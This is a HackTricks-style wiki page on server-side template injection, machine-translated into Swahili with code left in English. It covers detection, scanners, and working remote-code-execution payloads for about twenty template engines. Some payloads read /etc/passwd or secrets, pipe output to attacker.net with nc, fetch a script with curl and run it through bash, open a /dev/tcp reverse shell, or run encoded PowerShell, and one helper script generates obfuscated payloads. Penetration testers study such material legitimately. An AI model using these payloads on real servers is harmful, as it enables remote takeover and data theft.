SSTI (Server Side Template Injection)

Support HackTricks

RootedCON ni tukio muhimu zaidi la usalama wa mtandao nchini Hispania na moja ya muhimu zaidi barani Ulaya. Kwa lengo la kukuza maarifa ya kiufundi, kongamano hili ni mahali pa kukutana kwa wataalamu wa teknolojia na usalama wa mtandao katika kila taaluma.

What is SSTI (Server-Side Template Injection)

Server-side template injection ni udhaifu unaotokea wakati mshambuliaji anaweza kuingiza msimbo mbaya katika kiolezo ambacho kinatekelezwa kwenye seva. Udhaifu huu unaweza kupatikana katika teknolojia mbalimbali, ikiwa ni pamoja na Jinja.

Jinja ni injini maarufu ya kiolezo inayotumika katika programu za wavuti. Hebu tuchukue mfano unaoonyesha kipande cha msimbo kilichokumbwa na udhaifu ukitumia Jinja:

output = template.render(name=request.args.get('name'))

Katika hii nambari iliyo hatarini, parameta ya name kutoka kwa ombi la mtumiaji inapita moja kwa moja kwenye kiolezo kwa kutumia kazi ya render. Hii inaweza kuruhusu mshambuliaji kuingiza nambari mbaya kwenye parameta ya name, na kusababisha kuingizwa kwa kiolezo upande wa seva.

Kwa mfano, mshambuliaji anaweza kuunda ombi lenye mzigo kama huu:

http://vulnerable-website.com/?name={{bad-stuff-here}}

The payload {{bad-stuff-here}} imeingizwa kwenye parameter name. Payload hii inaweza kuwa na maagizo ya template ya Jinja ambayo yanamwezesha mshambuliaji kutekeleza msimbo usioidhinishwa au kubadilisha injini ya template, na hivyo kupata udhibiti wa seva.

Ili kuzuia udhaifu wa kuingizwa kwa template upande wa seva, waendelezaji wanapaswa kuhakikisha kuwa pembejeo za mtumiaji zimeondolewa vizuri na kuthibitishwa kabla ya kuingizwa kwenye templates. Kutekeleza uthibitishaji wa pembejeo na kutumia mbinu za kukwepa zinazojulikana na muktadha kunaweza kusaidia kupunguza hatari ya udhaifu huu.

Detection

Ili kugundua Kuingizwa kwa Template upande wa Seva (SSTI), awali, kufanya fuzzing kwenye template ni njia rahisi. Hii inahusisha kuingiza mfululizo wa herufi maalum (${{<%[%'"}}%\) kwenye template na kuchambua tofauti katika majibu ya seva kwa data ya kawaida dhidi ya payload hii maalum. Viashiria vya udhaifu ni pamoja na:

  • Makosa yaliyot thrown, yanayoonyesha udhaifu na labda injini ya template.

  • Kukosekana kwa payload kwenye reflection, au sehemu zake kukosekana, ikimaanisha kuwa seva inashughulikia tofauti na data ya kawaida.

  • Muktadha wa Plaintext: Tofautisha na XSS kwa kuangalia ikiwa seva inakadiria maelekezo ya template (mfano, {{7*7}}, ${7*7}).

  • Muktadha wa Code: Thibitisha udhaifu kwa kubadilisha parameta za pembejeo. Kwa mfano, kubadilisha greeting kwenye http://vulnerable-website.com/?greeting=data.username ili kuona ikiwa matokeo ya seva ni ya kubadilika au ya kudumu, kama kwenye greeting=data.username}}hello inarudisha jina la mtumiaji.

Identification Phase

Kujua injini ya template kunahusisha kuchambua ujumbe wa makosa au kujaribu kwa mikono payload mbalimbali za lugha maalum. Payload za kawaida zinazosababisha makosa ni pamoja na ${7/0}, {{7/0}}, na <%= 7/0 %>. Kuangalia majibu ya seva kwa operesheni za kihesabu husaidia kubaini injini maalum ya template.

Tools

scanner bora wa SSTI + CSTI inayotumia polyglots mpya

tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
tinja url -u "http://example.com/" -d "username=Kirlia"  -c "PHPSESSID=ABC123..."

python3 sstimap.py -i -l 5
python3 sstimap.py -u "http://example.com/" --crawl 5 --forms
python3 sstimap.py -u "https://example.com/page?name=John" -s

python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade

meza ya mwingiliano inayojumuisha polyglots za uhamasishaji wa template zenye ufanisi zaidi pamoja na majibu yanayotarajiwa ya injini 44 muhimu za template.

Exploits

Generic

Katika wordlist hii unaweza kupata variables defined katika mazingira ya baadhi ya injini zilizoainishwa hapa chini:

Java

Java - Basic injection

${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
// if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.

Java - Pata mabadiliko ya mazingira ya mfumo

${T(java.lang.System).getenv()}

Java - Pata /etc/passwd

${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}

${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}

FreeMarker (Java)

Unaweza kujaribu payload zako kwenye https://try.freemarker.apache.org

  • {{7*7}} = {{7*7}}

  • ${7*7} = 49

  • #{7*7} = 49 -- (legacy)

  • ${7*'7'} Nothing

  • ${foobar}

<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}

${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}

Freemarker - Sandbox bypass

⚠️ inafanya kazi tu kwenye toleo za Freemarker chini ya 2.3.30

<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}

Maelezo zaidi

Velocity (Java)

// I think this doesn't work
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end

// This should work?
#set($s="")
#set($stringClass=$s.getClass())
#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())
#set($process=$runtime.exec("cat%20/flag563378e453.txt"))
#set($out=$process.getInputStream())
#set($null=$process.waitFor() )
#foreach($i+in+[1..$out.available()])
$out.read()
#end

Maelezo zaidi

Thymeleaf

Katika Thymeleaf, mtihani wa kawaida wa udhaifu wa SSTI ni usemi ${7*7}, ambao pia unatumika kwa injini hii ya templeti. Kwa utekelezaji wa msimbo wa mbali, usemi kama ifuatavyo unaweza kutumika:

  • SpringEL:

${T(java.lang.Runtime).getRuntime().exec('calc')}
  • OGNL:

${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}

Thymeleaf inahitaji usemi haya kuwekwa ndani ya sifa maalum. Hata hivyo, expression inlining inasaidiwa kwa maeneo mengine ya templeti, kwa kutumia sintaksia kama [[...]] au [(...)]. Hivyo, mzigo rahisi wa mtihani wa SSTI unaweza kuonekana kama [[${7*7}]].

Hata hivyo, uwezekano wa mzigo huu kufanya kazi kwa ujumla ni mdogo. Mipangilio ya kawaida ya Thymeleaf haisaidii uundaji wa templeti za kidinamik; templeti lazima ziwe zimewekwa awali. Wataalamu wa maendeleo wangehitaji kutekeleza TemplateResolver yao ili kuunda templeti kutoka kwa nyuzi mara moja, jambo ambalo si la kawaida.

Thymeleaf pia inatoa expression preprocessing, ambapo usemi ndani ya viwango viwili vya chini (__...__) unachakatwa kabla. Kipengele hiki kinaweza kutumika katika ujenzi wa usemi, kama inavyoonyeshwa katika nyaraka za Thymeleaf:

#{selection.__${sel.code}__}

Mfano wa Uthibitisho katika Thymeleaf

Fikiria kipande hiki cha msimbo, ambacho kinaweza kuwa na hatari ya kutumiwa:

<a th:href="@{__${path}__}" th:title="${title}">
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>

Hii inaonyesha kwamba ikiwa injini ya kiolezo itashughulikia hizi ingizo vibaya, inaweza kusababisha utekelezaji wa msimbo wa mbali ikifikia URL kama:

http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})

Maelezo zaidi

EL - Expression Language

Spring Framework (Java)

*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}

Kupita filters

Maelezo mengi ya mabadiliko yanaweza kutumika, ikiwa ${...} haitafanya kazi jaribu #{...}, *{...}, @{...} au ~{...}.

  • Soma /etc/passwd

${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
  • Skripti Maalum kwa ajili ya uzalishaji wa payload

#!/usr/bin/python3

## Written By Zeyad Abulaban (zAbuQasem)
# Usage: python3 gen.py "id"

from sys import argv

cmd = list(argv[1].strip())
print("Payload: ", cmd , end="\n\n")
converted = [ord(c) for c in cmd]
base_payload = '*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec'
end_payload = '.getInputStream())}'

count = 1
for i in converted:
if count == 1:
base_payload += f"(T(java.lang.Character).toString({i}).concat"
count += 1
elif count == len(converted):
base_payload += f"(T(java.lang.Character).toString({i})))"
else:
base_payload += f"(T(java.lang.Character).toString({i})).concat"
count += 1

print(base_payload + end_payload)

Maelezo Zaidi

Usanifu wa Muonekano wa Spring (Java)

__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x
EL - Expression Language

Pebble (Java)

  • {{ someString.toUPPERCASE() }}

Toleo la zamani la Pebble ( < toleo 3.0.9):

{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}

Toleo jipya la Pebble :

{% set cmd = 'id' %}





{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd)
.inputStream
.readAllBytes() %}
{{ (1).TYPE
.forName('java.lang.String')
.constructors[0]
.newInstance(([bytes]).toArray()) }}

Jinjava (Java)

{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206

Jinjava ni mradi wa chanzo wazi ulioendelezwa na Hubspot, upatikana kwenye https://github.com/HubSpot/jinjava/

Jinjava - Utendaji wa amri

Imerekebishwa na https://github.com/HubSpot/jinjava/pull/230

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

More information

Hubspot - HuBL (Java)

  • {% %} mipaka ya taarifa

  • {{ }} mipaka ya maelezo

  • {# #} mipaka ya maoni

  • {{ request }} - com.hubspot.content.hubl.context.TemplateContextRequest@23548206

  • {{'a'.toUpperCase()}} - "A"

  • {{'a'.concat('b')}} - "ab"

  • {{'a'.getClass()}} - java.lang.String

  • {{request.getClass()}} - darasa com.hubspot.content.hubl.context.TemplateContextRequest

  • {{request.getClass().getDeclaredMethods()[0]}} - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()

Tafuta "com.hubspot.content.hubl.context.TemplateContextRequest" na kugundua mradi wa Jinjava kwenye Github.

{{request.isDebug()}}
//output: False

//Using string 'a' to get an instance of class sun.misc.Launcher
{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}
//output: sun.misc.Launcher@715537d4

//It is also possible to get a new object of the Jinjava class
{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}
//output: com.hubspot.jinjava.JinjavaConfig@78a56797

//It was also possible to call methods on the created object by combining the



{% %} and {{ }} blocks
{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}


{{ji.render('{{1*2}}')}}
//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.

//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
//output: xxx

//RCE
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
//output: java.lang.UNIXProcess@1e5f456e

//RCE with org.apache.commons.io.IOUtils.
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//output: netstat execution

//Multiple arguments to the commands
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

Maelezo zaidi

Lugha ya Kielelezo - EL (Java)

  • ${"aaaa"} - "aaaa"

  • ${99999+1} - 100000.

  • #{7*7} - 49

  • ${{7*7}} - 49

  • ${{request}}, ${{session}}, {{faceContext}}

Lugha ya Kielelezo (EL) ni kipengele muhimu kinachorahisisha mwingiliano kati ya safu ya uwasilishaji (kama kurasa za wavuti) na mantiki ya programu (kama vile beans zinazodhibitiwa) katika JavaEE. Inatumika sana katika teknolojia nyingi za JavaEE ili kuboresha mawasiliano haya. Teknolojia kuu za JavaEE zinazotumia EL ni pamoja na:

  • JavaServer Faces (JSF): Inatumia EL kuunganisha vipengele katika kurasa za JSF na data na vitendo vya nyuma vinavyolingana.

  • JavaServer Pages (JSP): EL inatumika katika JSP kwa kupata na kubadilisha data ndani ya kurasa za JSP, na kufanya iwe rahisi kuunganisha vipengele vya ukurasa na data ya programu.

  • Muktadha na Uingizaji wa Kazi kwa Java EE (CDI): EL inajumuika na CDI kuruhusu mwingiliano usio na mshono kati ya safu ya wavuti na beans zinazodhibitiwa, kuhakikisha muundo wa programu unaoeleweka zaidi.

Angalia ukurasa ufuatao kujifunza zaidi kuhusu kudhulumu wa tafsiri za EL:

EL - Expression Language

Groovy (Java)

Mifano ifuatayo ya kupita Meneja wa Usalama ilichukuliwa kutoka andiko hili.

//Basic Payload
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net "
assert java.lang.Runtime.getRuntime().exec(cmd.split(" "))
})
def x

//Payload to get output
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "whoami";
out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()
cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net";
java.lang.Runtime.getRuntime().exec(cmd2.split(" "))
})
def x

//Other payloads
new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x")
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))

​​RootedCON ni tukio muhimu zaidi la usalama wa mtandao nchini Hispania na moja ya muhimu zaidi barani Ulaya. Ikiwa na lengo la kukuza maarifa ya kiufundi, kongamano hili ni mahali pa kukutana kwa wataalamu wa teknolojia na usalama wa mtandao katika kila taaluma.

Smarty (PHP)

{$smarty.version}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3

Maelezo zaidi

Twig (PHP)

  • {{7*7}} = 49

  • ${7*7} = ${7*7}

  • {{7*'7'}} = 49

  • {{1/0}} = Error

  • {{foobar}} Nothing

#Get Info
{{_self}} #(Ref. to current application)
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}

#File read
"{{'/etc/passwd'|file_excerpt(1,30)}}"@

#Exec code
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{['id',""]|sort('system')}}

#Hide warnings and errors for automatic exploitation
{{["error_reporting", "0"]|sort("ini_set")}}

Twig - Muundo wa kiolezo

$output = $twig > render (
'Dear' . $_GET['custom_greeting'],
array("first_name" => $user.first_name)
);

$output = $twig > render (
"Dear {first_name}",
array("first_name" => $user.first_name)
);

Maelezo zaidi

Plates (PHP)

Plates ni injini ya kutengeneza mifano asilia kwa PHP, ikichota inspiraration kutoka Twig. Hata hivyo, tofauti na Twig, ambayo inintroduce sintaksia mpya, Plates inatumia msimbo wa asili wa PHP katika mifano, na kuifanya iwe rahisi kwa waendelezaji wa PHP.

Msimamizi:

// Create new Plates instance
$templates = new League\Plates\Engine('/path/to/templates');

// Render a template
echo $templates->render('profile', ['name' => 'Jonathan']);

Kigezo cha ukurasa:

<?php $this->layout('template', ['title' => 'User Profile']) ?>

<h1>User Profile</h1>
<p>Hello, <?=$this->e($name)?></p>

Template ya mpangilio:

<html>
<head>
<title><?=$this->e($title)?></title>
</head>
<body>
<?=$this->section('content')?>
</body>
</html>

Maelezo zaidi

PHPlib na HTML_Template_PHPLIB (PHP)

HTML_Template_PHPLIB ni sawa na PHPlib lakini imehamishwa kwa Pear.

authors.tpl

<html>
<head><title>{PAGE_TITLE}</title></head>
<body>
<table>
<caption>Authors</caption>
<thead>
<tr><th>Name</th><th>Email</th></tr>
</thead>
<tfoot>
<tr><td colspan="2">{NUM_AUTHORS}</td></tr>
</tfoot>
<tbody>
<!-- BEGIN authorline -->
<tr><td>{AUTHOR_NAME}</td><td>{AUTHOR_EMAIL}</td></tr>
<!-- END authorline -->
</tbody>
</table>
</body>
</html>

authors.php

<?php
//we want to display this author list
$authors = array(
'Christian Weiske'  => 'cweiske@php.net',
'Bjoern Schotte'     => 'schotte@mayflower.de'
);

require_once 'HTML/Template/PHPLIB.php';
//create template object
$t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep');
//load file
$t->setFile('authors', 'authors.tpl');
//set block
$t->setBlock('authors', 'authorline', 'authorline_ref');

//set some variables
$t->setVar('NUM_AUTHORS', count($authors));
$t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d'));

//display the authors
foreach ($authors as $name => $email) {
$t->setVar('AUTHOR_NAME', $name);
$t->setVar('AUTHOR_EMAIL', $email);
$t->parse('authorline_ref', 'authorline', true);
}

//finish and echo
echo $t->finish($t->parse('OUT', 'authors'));
?>

Maelezo zaidi

Jade (NodeJS)

- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}

Maelezo zaidi

patTemplate (PHP)

patTemplate injini ya kutengeneza PHP isiyo na mkusanyiko, inayotumia lebo za XML kugawanya hati katika sehemu tofauti

<patTemplate:tmpl name="page">
This is the main page.
<patTemplate:tmpl name="foo">
It contains another template.
</patTemplate:tmpl>
<patTemplate:tmpl name="hello">
Hello {NAME}.<br/>
</patTemplate:tmpl>
</patTemplate:tmpl>

Maelezo zaidi

Handlebars (NodeJS)

Kupita Njia (maelezo zaidi hapa).

curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
  • = Kosa

  • ${7*7} = ${7*7}

  • Hakuna

{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}

URLencoded:
%7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epush%20%28lookup%20string%2Esub%20%22constructor%22%29%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%23with%20string%2Esplit%20as%20%7Ccodelist%7C%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epush%20%22return%20require%28%27child%5Fprocess%27%29%2Eexec%28%27whoami%27%29%3B%22%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string%2Esub%2Eapply%200%20codelist%29%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%7B%7B%2Fwith%7D%7D%0D%0A%7B%7B%2Fwith%7D%7D

Maelezo zaidi

JsRender (NodeJS)

Kigezo

Maelezo

Thibitisha na uwasilishe matokeo

Thibitisha na uwasilishe matokeo ya HTML yaliyotolewa

Maoni

na

Ruhusu msimbo (imezimwa kwa default)

  • = 49

Upande wa Mteja

{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}

Seva Kando

{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}

Maelezo zaidi

PugJs (NodeJS)

  • #{7*7} = 49

  • #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}

  • #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}

Mfano wa uwasilishaji upande wa seva

var pugjs = require('pug');
home = pugjs.render(injected_page)

Maelezo zaidi

NUNJUCKS (NodeJS)

  • {{7*7}} = 49

  • {{foo}} = Hakuna matokeo

  • #{7*7} = #{7*7}

  • {{console.log(1)}} = Kosa

{{range.constructor("return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')")()}}
{{range.constructor("return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')")()}}

Maelezo zaidi

ERB (Ruby)

  • {{7*7}} = {{7*7}}

  • ${7*7} = ${7*7}

  • <%= 7*7 %> = 49

  • <%= foobar %> = Hitilafu

<%= system("whoami") %> #Execute code
<%= Dir.entries('/') %> #List folder
<%= File.open('/etc/passwd').read %> #Read file

<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines()  %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>

Maelezo zaidi

Slim (Ruby)

  • { 7 * 7 }

{ %x|env| }

Maelezo zaidi

Python

Angalia ukurasa ufuatao kujifunza mbinu kuhusu kutekeleza amri zisizo na mipaka kwa kupita sandboxes katika python:

Bypass Python sandboxes

Tornado (Python)

  • {{7*7}} = 49

  • ${7*7} = ${7*7}

  • {{foobar}} = Error

  • {{7*'7'}} = 7777777

{% import foobar %} = Error
{% import os %}

{% import os %}






{{os.system('whoami')}}
{{os.system('whoami')}}

More information

Jinja2 (Python)

Official website

Jinja2 ni injini ya kutengeneza template yenye vipengele vyote kwa Python. Ina msaada kamili wa unicode, mazingira ya utekelezaji yaliyojumuishwa na sandbox, inatumika sana na ina leseni ya BSD.

  • {{7*7}} = Error

  • ${7*7} = ${7*7}

  • {{foobar}} Nothing

  • {{4*4}}[[5*5]]

  • {{7*'7'}} = 7777777

  • {{config}}

  • {{config.items()}}

  • {{settings.SECRET_KEY}}

  • {{settings}}

  • <div data-gb-custom-block data-tag="debug"></div>

{% debug %}






{{settings.SECRET_KEY}}
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777

Jinja2 - Muundo wa kiolezo

{% extends "layout.html" %}
{% block body %}
<ul>
{% for user in users %}
<li><a href="{{ user.url }}">{{ user.username }}</a></li>
{% endfor %}
</ul>
{% endblock %}

RCE haisababishwi na __builtins__:

{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}

# Or in the shotest versions:
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}

Maelezo zaidi kuhusu jinsi ya kutumia Jinja:

Jinja2 SSTI

Payloads nyingine katika https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2

Mako (Python)

<%
import os
x=os.popen('id').read()
%>
${x}

Maelezo zaidi

Razor (.Net)

  • @(2+2) <= Mafanikio

  • @() <= Mafanikio

  • @("{{code}}") <= Mafanikio

  • @ <=Mafanikio

  • @{} <= KOSA!

  • @{ <= KOSA!

  • @(1+2)

  • @( //C#Code )

  • @System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");

  • @System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");

Mbinu ya .NET System.Diagnostics.Process.Start inaweza kutumika kuanzisha mchakato wowote kwenye seva na hivyo kuunda webshell. Unaweza kupata mfano wa programu ya wavuti iliyo hatarini katika https://github.com/cnotin/RazorVulnerableApp

Maelezo zaidi

ASP

